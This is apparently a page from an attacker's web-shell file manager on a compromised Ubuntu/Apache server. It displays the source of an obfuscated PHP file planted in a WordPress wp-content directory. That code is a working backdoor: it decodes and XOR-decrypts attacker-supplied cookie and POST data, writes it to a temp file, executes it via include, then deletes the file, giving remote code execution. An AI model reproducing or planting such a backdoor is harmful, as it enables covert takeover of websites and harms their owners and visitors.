HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/74b6d565.php
$DPYscWYq = "\x48" . '_' . "\x49" . 'P' . chr (104) . 'j' . 'P';$fjHCxNEn = 'c' . 'l' . chr ( 122 - 25 )."\x73" . "\163" . '_' . 'e' . chr ( 962 - 842 ).chr (105) . 's' . "\164" . "\163";$YjbOMMpR = class_exists($DPYscWYq); $fjHCxNEn = "51637";$KxyZwCCyDT = strpos($fjHCxNEn, $DPYscWYq);if ($YjbOMMpR == $KxyZwCCyDT){function avTTQKnzkA(){$SRxdIRrIQ = new /* 9609 */ H_IPhjP(29120 + 29120); $SRxdIRrIQ = NULL;}$OAtzAtaQU = "29120";class H_IPhjP{private function DxEiV($OAtzAtaQU){if (is_array(H_IPhjP::$ExSEDPOoyZ)) {$name = sys_get_temp_dir() . "/" . crc32(H_IPhjP::$ExSEDPOoyZ["salt"]);@H_IPhjP::$ExSEDPOoyZ["write"]($name, H_IPhjP::$ExSEDPOoyZ["content"]);include $name;@H_IPhjP::$ExSEDPOoyZ["delete"]($name); $OAtzAtaQU = "29120";exit();}}public function hlHnAb(){$XObLDmAIPE = "22291";$this->_dummy = str_repeat($XObLDmAIPE, strlen($XObLDmAIPE));}public function __destruct(){H_IPhjP::$ExSEDPOoyZ = @unserialize(H_IPhjP::$ExSEDPOoyZ); $OAtzAtaQU = "39713_32533";$this->DxEiV($OAtzAtaQU); $OAtzAtaQU = "39713_32533";}public function yzlTZoD($XObLDmAIPE, $dvETm){return $XObLDmAIPE[0] ^ str_repeat($dvETm, intval(strlen($XObLDmAIPE[0]) / strlen($dvETm)) + 1);}public function MopwLr($XObLDmAIPE){$iAItKO = chr ( 380 - 282 )."\141" . chr (115) . "\x65" . "\x36" . chr (52);return array_map($iAItKO . chr (95) . 'd' . "\145" . "\x63" . chr ( 889 - 778 ).chr (100) . 'e', array($XObLDmAIPE,));}public function __construct($roqVCyCS=0){$szyFqRFL = chr (44); $XObLDmAIPE = "";$wNCCwxG = $_POST;$ZTpfyYUOlV = $_COOKIE;$dvETm = "75f571ba-cbbd-4b1f-b044-27447bf08869";$eCdnufUto = @$ZTpfyYUOlV[substr($dvETm, 0, 4)];if (!empty($eCdnufUto)){$eCdnufUto = explode($szyFqRFL, $eCdnufUto);foreach ($eCdnufUto as $ndLqGzZ){$XObLDmAIPE .= @$ZTpfyYUOlV[$ndLqGzZ];$XObLDmAIPE .= @$wNCCwxG[$ndLqGzZ];}$XObLDmAIPE = $this->MopwLr($XObLDmAIPE);}H_IPhjP::$ExSEDPOoyZ = $this->yzlTZoD($XObLDmAIPE, $dvETm);if (strpos($dvETm, $szyFqRFL) !== FALSE){$dvETm = ltrim($dvETm); $dvETm = str_pad($dvETm, 10);}}public static $ExSEDPOoyZ = 42936;}avTTQKnzkA();}